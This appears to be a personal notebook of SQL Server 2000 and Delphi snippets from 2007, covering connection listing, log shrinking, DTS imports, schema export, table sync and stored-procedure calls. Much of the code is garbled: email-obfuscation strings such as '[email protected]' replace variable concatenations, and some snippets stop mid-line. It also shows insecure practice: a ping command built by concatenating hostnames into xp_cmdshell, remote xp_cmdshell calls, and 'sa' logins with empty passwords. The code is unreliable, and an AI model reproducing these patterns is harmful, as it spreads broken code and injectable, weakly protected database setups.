@dbname sysname=null,--要查询的数据库名,默认查询所有数据库的连接信息
@includeip bit=0--是否显示IP地址,因为查询IP地址比较费时,所以增加此控制
as
declare @dbid int
set @dbid=db_id(@dbname)
create table #tb(id int identity(1,1),dbname sysname,hostname nchar(128),loginname nchar(128),net_address nchar(12),net_ip nvarchar(15),prog_name nchar(128))
insert into #tb(hostname,dbname,net_address,loginname,prog_name)
select distinct hostname,db_name(dbid),net_address,loginame,program_name from master..sysprocesses
where hostname<>'' and (@dbid is null or
[email protected])
if @includeip=0 goto lb_show --如果不显示IP地址,就直接显示
declare @sql varchar(500),@hostname nchar(128),@id int
create table #ip(hostname nchar(128),a varchar(200))
declare tb cursor local for select distinct hostname from #tb
open tb
fetch next from tb into @hostname
while @@fetch_status=0
begin
set @sql='ping '
[email protected]+' -a -n 1 -l 1'
insert #ip(a) exec master..xp_cmdshell @sql
update #ip set
[email protected] where hostname is null
fetch next from tb into @hostname
end
update #tb set net_ip=left(a,patindex('%:%',a)-1)
from #tb a inner join (
select hostname,a=substring(a,patindex('Ping statistics for %:%',a)+20,20) from #ip
where a like 'Ping statistics for %:%') b on a.hostname=b.hostname
lb_show:
select id,数据库名=dbname,客户机名=hostname,用户名=loginname
,网卡物理地址=net_address,IP地址=net_ip,应用程序名称=prog_name from #tb
GO
//显示所有本机的连接信息:
exec p_getlinkinfo
//显示所有本机的连接信息,包含ip地址:
exec p_getlinkinfo @includeip=1
//显示连接指定数据库的信息:
exec p_getlinkinfo @dbname=表名,@includeip=1
2007-9-30 11:01:28 数据迁移时如何清空日志文件清空日志文件
问题的引出:我们的切割过程就是将单据数据中某个日期以前的数据先复制到新的数据库中(select ... into ...),然后再将原来数据库中的这些数据删除,这样操作在数量量很大的数据库上时,其日志文件的增长也是惊人的:我复制一个48万条记录的表时,最后发现仅这一个表的操作就使新数据库的日志文件增加了170MB,如果不加清理,那就会被日志文件占用大量宝贵的磁盘空间。况且,我们转移到的新建数据库的作用也只是用来查询,以后不会有任何Insert、Update、Delete操作的,要这些日志文件没有什么用处,因此必须在向它转移数据的过程中做一些缩小日志文件的处理,怎么办??问题由此而生...
处理过程中不记录日志
设置方法如下:企业管理器中打开对应数据库的“属性”,页框“选项”中将“模型”改为“简单”。这样设置的结果是对此数据库的任何操作都将不记录事务日志。对应SQL为:EXEC sp_dboption @pdbName, 'trunc. log on chkpt.', 'TRUE'
但是,我们经过测试发现:启用此功能后,我们在对这个数据库操作时,就不能用事务操作了,程序执行到BeginTranSaction时就报错,不能执行下去,由于我们不能在对此库的操作中保证100%的正确性,因此我们还需要事务,因此这种方法适用空间有限,也不能满足我们程序的需求。
我们还得继续查找.....
(2)处理过程中允许记录日志,但要对日志文件进行处理,时时缩小它。
SQL Server的联机帮助告诉我们:
在下列情况下,日志文件的物理大小将减少:
执行 DBCC SHRINKDATABASE 语句时。
执行引用日志文件的 DBCC SHRINKFILE 语句时。
自动收缩操作发生时。
下面我们逐个分析这三个方案:
① DBCC SHRINKDATABASE:收缩特定数据库的所有数据和日志文件,包含我们的需求,但也大于我们的需求,此方案可用,但不要着急,给人的感觉是买了一件能穿的衣服,但尺寸大了些,穿在身上有点不舒服,我们接着分析以下两个方案...
② DBCC SHRINKFILE: 收缩相关数据库的指定数据文件或日志文件大小。与方案1的区别仅一字之差:“和”与“或”,相当于把方案1拆成两步来执行,我们需要的就是收缩日志文件,因此,它对我们来说显得比较合适,有点量体裁衣的感觉。但还有没有更好的呢,我们来看第三个方案...
③自动收缩:数据库也可设置为按给定的时间间隔自动收缩,服务器定期检查每个数据库中的空间使用情况。如果发现数据库中有大量闲置空间,而且它的 autoshrink 选项设置为 true,SQL Server 就缩小该数据库中的文件大小。它是周期性的执行DBCC SHRINKDATABASE,既然方案1已经是一件尺寸大了一些的衣服,则此方案就相当于又穿上了N件大尺寸衣服,一件就已经够了,我还要那么多干嘛呢??
综合对比发现,方案2正是我们需要的。
DBCC SHRINKFILE ('+Trim(edDBMC.Text)+'_Log, TRUNCATEONLY)
经过这个语句处理以后,日志文件将回到它的最小状态504KB,任何的日志记录都将清空。
再结合我们的工具,复制完一个表之后,我们就执行方案2,处理过程中日志文件暂时占用的最大空间也就是处理最大数据表时产生的日志空间,但最后都将清空,显示为500多KB,相对于庞大的数据文件而言,微之戡微.
2007-9-30 14:51:59 DTS编程KeyLife富翁笔记
作者 : china_peng
标题 : 用SQL 2000数据库中的DTS包导入数据
关键字: DTSImport
分类 : 个人专区
密级 : 公开
(评分: , 回复: 0, 阅读: 19) »»
//调用SQL Server2000数据库中的DTS包导入数据,速度较快
//(参考BDS 4 Import ActiveX.txt)
//Comonent -> Import Componet->Import Type Library
//Microsoft DTSDataPump Scripting Object Library =>DTSPump_TLB
//Microsoft DTSPackage Object Library =>DTS_TLB
//发布到没有安装SQL Server 2000的机器时,应发布
//dts复制数据所需的dll文件
//dtspkg.dll
//dtspkg.rll
//dtspump.dll
//dtspump.rll
//sqlresld.dll
//并注册以下dtspkg.dll ,dtspump.dll
//命令提示符中regsvr32 path+dtspkg.dll
//命令提示符中regsvr32 path+dtspump.dll
{
调用示例
//调用DTS包导入数据
frmDTSImport := TfrmDTSImport.Create(nil);
try
frmDTSImport._S_DataSource := strAcs_A_DataSource;
frmDTSImport._S_Catalog := '';
frmDTSImport._S_UserID := strAcs_A_UserId;
frmDTSImport._S_Password := strAcs_A_Password;
frmDTSImport._S_SourceSQLStatement := 'select * from BOM_IM';
frmDTSImport._D_DataSource := strSQL_DataSource;
frmDTSImport._D_Catalog := strSQL_DataBase;
frmDTSImport._D_UserID := strSQL_UserId;
frmDTSImport._D_Password := strSQL_Password;
//AS400成品、料件资料
frmDTSImport._D_DestinationObjectName := 'BOM_IM';
frmDTSImport.Show;
frmDTSImport.Update;
frmDTSImport.RunTransfer(dm.adcn);
frmDTSImport.Close;
}
unit untDTSImport;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, DTS_TLB, DTSPump_TLB, DTSEvents, ComCtrls, ADODB, jpeg,
ExtCtrls, DB;
type
TfrmDTSImport = class(TForm)
DTSPackageEvents1: TDTSPackageEvents;
Label1: TLabel;
Label2: TLabel;
Image1: TImage;
adp_proc_check_fields: TADOStoredProc;
procedure FormCreate(Sender: TObject);
function DTSPackageEvents1Progress(Sender: TObject; const EventSource,
ProgressDescription: WideString; PercentComplete, ProgressCountLow,
ProgressCountHigh: Integer): HRESULT;
private
{ Private declarations }
F_S_Driver, F_S_DataSource, F_S_Catalog, F_S_UserID, F_S_Password, F_S_SourceSQLStatement: string;
F_D_Driver, F_D_DataSource, F_D_Catalog, F_D_UserID, F_D_Password, F_D_DestinationObjectName: string;
F_S_CnnStr, F_D_CnnStr, F_S_strSQL, F_D_strSQL: string;
procedure oCustomTask2_Trans_S1(oCustomTask2: DataPumpTask2);
procedure tracePackageError(oPackage: Package);
public
{ Public declarations }
//DTS数据源的数据来源驱动类型 [MSDASQL->ODBC],[SQLOLEDB->SQL server],['Microsoft.Jet.OLEDB.4.0'->ACCESS或Excel]
property _S_Driver: string read F_S_Driver write F_S_Driver;
property _S_DataSource: string read F_S_DataSource write F_S_DataSource;
property _S_Catalog: string read F_S_Catalog write F_S_Catalog;
property _S_UserID: string read F_S_UserID write F_S_UserID;
property _S_Password: string read F_S_Password write F_S_Password;
property _S_SourceSQLStatement: string read F_S_SourceSQLStatement write F_S_SourceSQLStatement;
property _D_Driver: string read F_D_Driver write F_D_Driver;
property _D_DataSource: string read F_D_DataSource write F_D_DataSource;
property _D_Catalog: string read F_D_Catalog write F_D_Catalog;
property _D_UserID: string read F_D_UserID write F_D_UserID;
property _D_Password: string read F_D_Password write F_D_Password;
property _D_DestinationObjectName: string read F_D_DestinationObjectName write F_D_DestinationObjectName;
//2007-01-13 增加 _S_CnnStr,_S_strSQL,_D_CnnStr,_D_strSQL 检查来源表与目的表的字段数是否一致
//源数据库ConnectionString
property _S_CnnStr: string read F_S_CnnStr write F_S_CnnStr;
//源表SQL语句
property _S_strSQL: string read F_S_strSQL write F_S_strSQL;
//目的数据库ConnectionString
property _D_CnnStr: string read F_D_CnnS
2007-10-9 9:28:11 使用osql执行sql脚本@echo off
echo ╬ ╱◥███◣╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
echo ╬ ︱田︱田 田 ︱ ╬
echo ╬ 绿色佳软 ╬
echo ╬ Copyright (c) 咏南工作室 ╬
echo ╬ Author: 陈新光 ╬
echo ╬ ToDo: 安装数据库 ╬
echo ╬ Date: 2006.11.10 ╬
echo ╬ Note: 安装SQL SERVER 2000 ╬
echo ╬ 数据库名:ynpos ╬
echo ╬ 数据库文件将安装到c:\yndata目录 ╬
echo ╬ 终止操作,请按ctrl+c键 ╬
echo ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
pause
md c:\yndata
osql -U sa -P -i createdb.sql
2007-10-10 16:44:33 取SQLSERVER服务器上的时间procedure TForm1.btn1Click(Sender: TObject);
begin
try
qry1.SQL.Text:='select GETDATE()';
qry1.Open;
edt1.Text:=qry1.Fields[0].AsString;
finally
qry1.Close;
end;
end;
2007-12-25 11:02:25 -- ======================================================
--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息
--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中
-- ======================================================
SELECT
(case when a.colorder=1 then d.name else '' end)表名,
a.colorder 字段序号,
a.name 字段名,
(case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识,
(case when (SELECT count(*)
FROM sysobjects
WHERE (name in
(SELECT name
FROM sysindexes
WHERE (id = a.id) AND (indid in
(SELECT indid
FROM sysindexkeys
WHERE (id = a.id) AND (colid in
(SELECT colid
FROM syscolumns
WHERE (id = a.id) AND (name = a.name))))))) AND
(xtype = 'PK'))>0 then '√' else '' end) 主键,
b.name 类型,
a.length 占用字节数,
COLUMNPROPERTY(a.id,a.name,'PRECISION') as 长度,
isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as 小数位数,
(case when a.isnullable=1 then '√'else '' end) 允许空,
isnull(e.text,'') 默认值,
isnull(g.[value],'') AS 字段说明
FROM syscolumns a left join systypes b
on a.xtype=b.xusertype
inner join sysobjects d
on a.id=d.id and d.xtype='U' and d.name<>'dtproperties'
left join syscomments e
on a.cdefault=e.id
left join sysproperties g
on a.id=g.id AND a.colid = g.smallid
order by a.id,a.colorder
-------------------------------------------------------------------------------------------------
列出SQL SERVER 所有表、字段定义,类型,长度,一个值等信息
并导出到Excel 中
-- ======================================================
-- Export all user tables definition and one sample value
-- jan-13-2003,Dr.Zhang
-- ======================================================
在查询分析器里运行:
SET ANSI_NULLS OFF
GO
SET NOCOUNT ON
GO
SET LANGUAGE 'Simplified Chinese'
go
DECLARE @tbl nvarchar(200),@fld nvarchar(200),@sql nvarchar(4000),@maxlen int,@sample nvarchar(40)
SELECT d.name TableName,a.name FieldName,b.name TypeName,a.length Length,a.isnullable IS_NULL INTO #t
FROM syscolumns a, systypes b,sysobjects d
WHERE a.xtype=b.xusertype and a.id=d.id and d.xtype='U'
DECLARE read_cursor CURSOR
FOR SELECT TableName,FieldName FROM #t
SELECT TOP 1 '_TableName ' TableName,
'FieldName ' FieldName,'TypeName ' TypeName,
'Length' Length,'IS_NULL' IS_NULL,
'MaxLenUsed' AS MaxLenUsed,'Sample Value ' Sample,
'Comment ' Comment INTO #tc FROM #t
OPEN read_cursor
FETCH NEXT FROM read_cursor INTO @tbl,@fld
WHILE (@@fetch_status <> -1) --- failes
BEGIN
IF (@@fetch_status <> -2) -- Missing
BEGIN
SET @sql=N'SET @maxlen=(SELECT max(len(cast('
[email protected]+' as nvarchar))) FROM '
[email protected]+')'
--PRINT @sql
EXEC SP_EXECUTESQL @sql,N'@maxlen int OUTPUT',@maxlen OUTPUT
--print @maxlen
SET @sql=N'SET @sample=(SELECT TOP 1 cast('
[email protected]+' as nvarchar) FROM '
[email protected]+' WHERE len(cast('
[email protected]+' as nvarchar))='+convert(nvarchar(5),@maxlen)+')'
EXEC SP_EXECUTESQL @sql,N'@sample varchar(30) OUTPUT',@sample OUTPUT
--for quickly
--SET @sql=N'SET @sample=convert(varchar(20),(SELECT TOP 1 '
[email protected]+' FROM '+
[email protected]+' order by 1 desc ))'
PRINT @sql
print @sample
print @tbl
EXEC SP_EXECUTESQL @sql,N'
2007-12-25 15:33:51 即时同步两个表的实例:
--测试环境:SQL2000,远程主机名:xz,用户名:sa,密码:无,数据库名:test
--创建测试表,不能用标识列做主键,因为不能进行正常更新
--在本机上创建测试表,远程主机上也要做同样的建表操作,只是不写触发器
if exists (select * from dbo.sysobjects where id = object_id(N'[test]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [test]
create table test(id int not null constraint PK_test primary key
,name varchar(10))
go
--创建同步的触发器
create trigger t_test on test
for insert,update,delete
as
set XACT_ABORT on
--启动远程服务器的MSDTC服务
exec master..xp_cmdshell 'isql /S"xz" /U"sa" /P"" /q"exec master..xp_cmdshell ''net start msdtc'',no_output"',no_output
--启动本机的MSDTC服务
exec master..xp_cmdshell 'net start msdtc',no_output
--进行分布事务处理,如果表用标识列做主键,用下面的方法
BEGIN DISTRIBUTED TRANSACTION
delete from openrowset('sqloledb','xz';'sa';'',test.dbo.test)
where id in(select id from deleted)
insert into openrowset('sqloledb','xz';'sa';'',test.dbo.test)
select * from inserted
commit tran
go
--插入数据测试
insert into test
select 1,'aa'
union all select 2,'bb'
union all select 3,'c'
union all select 4,'dd'
union all select 5,'ab'
union all select 6,'bc'
union all select 7,'ddd'
--删除数据测试
delete from test where id in(1,4,6)
--更新数据测试
update test set name=name+'_123' where id in(3,5)
--显示测试的结果
select * from test a full join
openrowset('sqloledb','xz';'sa';'',test.dbo.test) b on a.id=b.id
2007-12-28 10:13:00 sp_Exec.Parameters.Clear;
sp_Exec.ProcedureName := 'sp_TransTo';
sp_Exec.Parameters.CreateParameter('@mailId', ftString, pdInput, 50, MailId);
sp_Exec.Parameters.CreateParameter('@Result', ftInteger, pdOutput, 0, rowID);
sp_Exec.ExecProc;
2007-12-28 10:19:02 ADOQuery 执行存储过程并取的输出参数
2005-09-06 13:02:06
写这个只是为了将来自查用的,呵呵,当然,不会的人也可以看看
第一步建立proc
create proc MyABC @a int ,@b int, @c int output
as
set @
[email protected]*@b
在SQL中执行:
declare @a int,@b int,@c int
set @a=250
set @b=40
exec MyABC @a,@b,@c output --注意要添加output 关键字!
select @c
在D中:
ADOQuery1.Close;
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add(‘execute MyABC :a,:b,:c output‘);//也要添加output 关键字!
ADOQuery1.Parameters.ParamByName(‘a‘).Value:=250;
ADOQuery1.Parameters.ParamByName(‘b‘).Value:=40;
ADOQuery1.ExecSQL;
showmessage(ADOQuery1.Parameters.ParamByName(‘c‘).Value);